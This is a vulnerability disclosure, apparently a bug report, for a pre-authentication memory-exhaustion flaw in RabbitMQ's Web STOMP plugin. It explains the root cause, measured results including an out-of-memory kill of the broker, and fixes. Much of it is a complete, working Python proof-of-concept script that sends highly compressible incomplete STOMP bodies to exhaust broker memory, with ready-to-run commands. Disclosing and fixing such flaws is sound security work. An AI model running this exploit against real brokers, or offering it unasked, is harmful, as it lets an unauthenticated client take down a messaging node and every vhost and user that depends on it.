Описание
RabbitMQ Web STOMP: compressed pre-authentication messages exhaust broker memory
Summary
RabbitMQ enables WebSocket permessage-deflate before STOMP authentication.
The unauthenticated WebSocket frame-size limit applies to each decompressed
WebSocket message independently, but the STOMP parser can accumulate one
incomplete STOMP body across thousands of WebSocket messages.
An unauthenticated client can declare a large STOMP content-length, then send
many highly compressible 60 KiB WebSocket messages without completing the STOMP
frame. Parser continuations retain the decompressed body chunks up to the
default 100 MiB STOMP body limit per connection.
The retained data is primarily off-heap binary memory, so RabbitMQ's 16 MiB
unauthenticated process-heap limit does not terminate the connection. A small
number of connections can exhaust the broker before the normal 10-second login
timeout closes them.
Preconditions
rabbitmq_web_stomp is enabled.- TCP port 15674, or an equivalent configured Web STOMP listener, is reachable.
- The listener negotiates
permessage-deflate, as it does by default.
- No valid RabbitMQ credentials are required.
Root cause
1. Compression is enabled before authentication
%% deps/rabbitmq_web_stomp/src/rabbit_web_stomp_handler.erl:119-135
MaxFrameSize =
application:get_env(
rabbitmq_stomp, max_frame_size_unauthenticated,
?DEFAULT_MAX_FRAME_SIZE_UNAUTHENTICATED) + 4096,
WsOpts = maps:merge(#{compress => true,
max_frame_size => MaxFrameSize}, WsOpts0),
The frame-size setting limits one decompressed WebSocket message, not aggregate
STOMP parser state.
2. Parser state survives across WebSocket messages
rabbit_web_stomp_handler:handle_data1/2 stores the STOMP parser continuation
when a complete frame has not arrived and invokes it with the next WebSocket
message.
The body parser in rabbit_stomp_frame.erl retains every body chunk until the
declared content-length is complete. The default maximum STOMP body is
100 MiB, so one unauthenticated connection can retain close to 100 MiB while
each individual WebSocket message remains under the 64 KiB pre-auth limit.
3. The process heap limit does not account for retained binary memory
RabbitMQ applies a 16 MiB max_heap_size to unauthenticated connection
processes. Large decompressed binaries are reference-counted off-heap; only
small references are charged to the Erlang process heap. The process therefore
survives while retaining substantially more than 16 MiB of broker memory.
Basic Python proof of concept
Attachment: web-stomp-preauth-memory-dos-poc.py
The attachment is one Python 3 file using only the standard library. It
implements the WebSocket upgrade, masking, permessage-deflate, and STOMP
framing directly.
Target setup:
rabbitmq-plugins enable rabbitmq_web_stomp
Bounded one-connection validation:
python3 web-stomp-preauth-memory-dos-poc.py \
--host rabbitmq.example --port 15674 --path /ws \
--connections 1 --retain-mib 64 --hold-seconds 5
Expected output:
sending incomplete compressed STOMP frames before authentication
filling connection 1/1
retained body sent: 60 MiB
holding 64 MiB declared body fragments for 5s
connections_alive_after_hold=1/1
compressed_websocket_bytes_sent=91829
MEMORY_PIN_SENT
This transmits approximately 92 KB over the network and retains 64 MiB of
decompressed STOMP body state.
Stress setting for a disposable test server:
python3 web-stomp-preauth-memory-dos-poc.py \
--host 127.0.0.1 --port 15674 \
--connections 5 --retain-mib 64 --hold-seconds 2
Do not use the stress setting against a production broker.
Verified results
Bounded memory measurement
RabbitMQ 4.3.4 in a 1 GiB container:
connections: 1
decompressed body retained: 64 MiB
compressed WebSocket bytes sent: 91,829
container memory before: 178.4 MiB
container memory during hold: 262.3 MiB
broker ping: succeeded
The broker consumed approximately 84 MiB additional memory from 92 KB of wire
input, an amplification of roughly 900 times at the container level.
Broker OOM
RabbitMQ 4.3.4 with a hard 500 MiB memory-and-swap limit:
connections: 5
decompressed body retained: 320 MiB
compressed WebSocket bytes sent: 459,145
container running: false
container oom_killed: true
container exit code: 137
The entire attack completed within the normal pre-authentication login-timeout
window. No failed CONNECT or timeout-suppression behavior is required.
Impact
- An unauthenticated network client can terminate a RabbitMQ node.
- Approximately 90 KB of compressed wire data retains 64 MiB per connection.
- A handful of concurrent connections can exceed container or host memory.
- RabbitMQ memory alarms do not prevent the decompression and parser-retention
burst from unauthenticated WebSocket connections.
- The impact affects all vhosts and users on the node.
Recommended remediation
- Disable WebSocket compression until after successful STOMP authentication.
- Enforce an aggregate decompressed-byte budget across parser continuations,
not only a per-WebSocket-message limit.
- Charge retained off-heap binary bytes to a per-connection memory limit.
- Copy or compact parser fragments instead of retaining decompression buffers.
- Reject incomplete pre-authentication STOMP bodies at a much smaller limit.
- Add a regression using many compressed messages that form one incomplete
STOMP body and assert bounded total memory.
#!/usr/bin/env python3
"""RabbitMQ Web STOMP pre-auth compressed-memory retention PoC."""
from __future__ import annotations
import argparse
import base64
import hashlib
import os
import socket
import struct
import time
import zlib
class WebSocket:
def __init__(self, host: str, port: int, path: str) -> None:
self.sock = socket.create_connection((host, port), timeout=10)
key = base64.b64encode(os.urandom(16)).decode()
request = (
f"GET {path} HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Upgrade: websocket\r\n"
"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
"Sec-WebSocket-Version: 13\r\n"
"Sec-WebSocket-Protocol: v12.stomp\r\n"
"Sec-WebSocket-Extensions: permessage-deflate; "
"client_no_context_takeover; server_no_context_takeover\r\n"
"\r\n"
)
self.sock.sendall(request.encode())
response = self._read_http_headers()
status = response.split(b"\r\n", 1)[0]
if b" 101 " not in status:
raise RuntimeError(f"WebSocket upgrade failed: {status!r}")
expected = base64.b64encode(
hashlib.sha1(
(key + "258EAFA5-E914-47DA-95CA-C5AB0DC85B11").encode()
).digest()
)
if b"sec-websocket-accept: " + expected.lower() not in response.lower():
raise RuntimeError("invalid Sec-WebSocket-Accept")
if b"permessage-deflate" not in response.lower():
raise RuntimeError("server did not negotiate permessage-deflate")
def _read_http_headers(self) -> bytes:
data = bytearray()
while b"\r\n\r\n" not in data:
chunk = self.sock.recv(4096)
if not chunk:
raise ConnectionError("EOF during WebSocket upgrade")
data.extend(chunk)
return bytes(data)
def send(self, payload: bytes, opcode: int = 1, compressed: bool = False) -> int:
if compressed:
compressor = zlib.compressobj(wbits=-15)
payload = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
payload = payload[:-4] # permessage-deflate removes 00 00 ff ff
first = 0x80 | opcode | (0x40 if compressed else 0)
mask = os.urandom(4)
size = len(payload)
if size < 126:
header = bytes([first, 0x80 | size])
elif size <= 0xFFFF:
header = bytes([first, 0x80 | 126]) + struct.pack(">H", size)
else:
header = bytes([first, 0x80 | 127]) + struct.pack(">Q", size)
masked = bytes(byte ^ mask[index % 4] for index, byte in enumerate(payload))
self.sock.sendall(header + mask + masked)
return len(header) + len(mask) + len(masked)
def receive(self, timeout: float = 10) -> tuple[int, bytes]:
self.sock.settimeout(timeout)
first_two = self._read_exact(2)
first, second = first_two
opcode = first & 0x0F
compressed = bool(first & 0x40)
size = second & 0x7F
if size == 126:
size = struct.unpack(">H", self._read_exact(2))[0]
elif size == 127:
size = struct.unpack(">Q", self._read_exact(8))[0]
if second & 0x80:
mask = self._read_exact(4)
else:
mask = None
payload = self._read_exact(size)
if mask:
payload = bytes(
byte ^ mask[index % 4] for index, byte in enumerate(payload)
)
if compressed:
inflater = zlib.decompressobj(wbits=-15)
payload = inflater.decompress(payload + b"\x00\x00\xff\xff")
return opcode, payload
def _read_exact(self, size: int) -> bytes:
data = bytearray()
while len(data) < size:
chunk = self.sock.recv(size - len(data))
if not chunk:
raise ConnectionError("WebSocket EOF")
data.extend(chunk)
return bytes(data)
def ping(self) -> bool:
try:
marker = os.urandom(8)
self.send(marker, opcode=9)
deadline = time.time() + 5
while time.time() < deadline:
opcode, payload = self.receive(deadline - time.time())
if opcode == 10 and payload == marker:
return True
if opcode == 8:
return False
return False
except (ConnectionError, ConnectionResetError, BrokenPipeError, OSError):
return False
def retain_body(ws: WebSocket, retain_bytes: int, chunk_bytes: int) -> int:
declared = retain_bytes + chunk_bytes
header = (
b"SEND\n"
b"destination:/queue/poc\n"
+ f"content-length:{declared}\n\n".encode()
)
wire_bytes = ws.send(header, compressed=True)
chunk = b"A" * chunk_bytes
sent = 0
next_progress = 10 * 1024 * 1024
while sent < retain_bytes:
current = chunk[: min(chunk_bytes, retain_bytes - sent)]
wire_bytes += ws.send(current, compressed=True)
sent += len(current)
if sent >= next_progress:
print(f"retained body sent: {sent // (1024 * 1024)} MiB", flush=True)
next_progress += 10 * 1024 * 1024
return wire_bytes
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=15674)
parser.add_argument("--path", default="/ws")
parser.add_argument("--connections", type=int, default=1)
parser.add_argument("--retain-mib", type=int, default=80)
parser.add_argument("--chunk-kib", type=int, default=60)
parser.add_argument("--hold-seconds", type=float, default=5)
args = parser.parse_args()
sockets = [WebSocket(args.host, args.port, args.path) for _ in range(args.connections)]
print("sending incomplete compressed STOMP frames before authentication")
retain_bytes = args.retain_mib * 1024 * 1024
chunk_bytes = args.chunk_kib * 1024
total_wire_bytes = 0
try:
for index, ws in enumerate(sockets, 1):
print(f"filling connection {index}/{len(sockets)}", flush=True)
total_wire_bytes += retain_body(ws, retain_bytes, chunk_bytes)
except (ConnectionError, ConnectionResetError, BrokenPipeError, OSError) as exc:
print(f"SERVER_DISCONNECTED_DURING_STRESS: {type(exc).__name__}: {exc}")
return 0
print(
f"holding {args.connections * args.retain_mib} MiB declared body fragments "
f"for {args.hold_seconds:g}s",
flush=True,
)
time.sleep(args.hold_seconds)
alive = sum(1 for ws in sockets if ws.ping())
print(f"connections_alive_after_hold={alive}/{len(sockets)}")
print(f"compressed_websocket_bytes_sent={total_wire_bytes}")
print("MEMORY_PIN_SENT")
return 0
if __name__ == "__main__":
raise SystemExit(main())
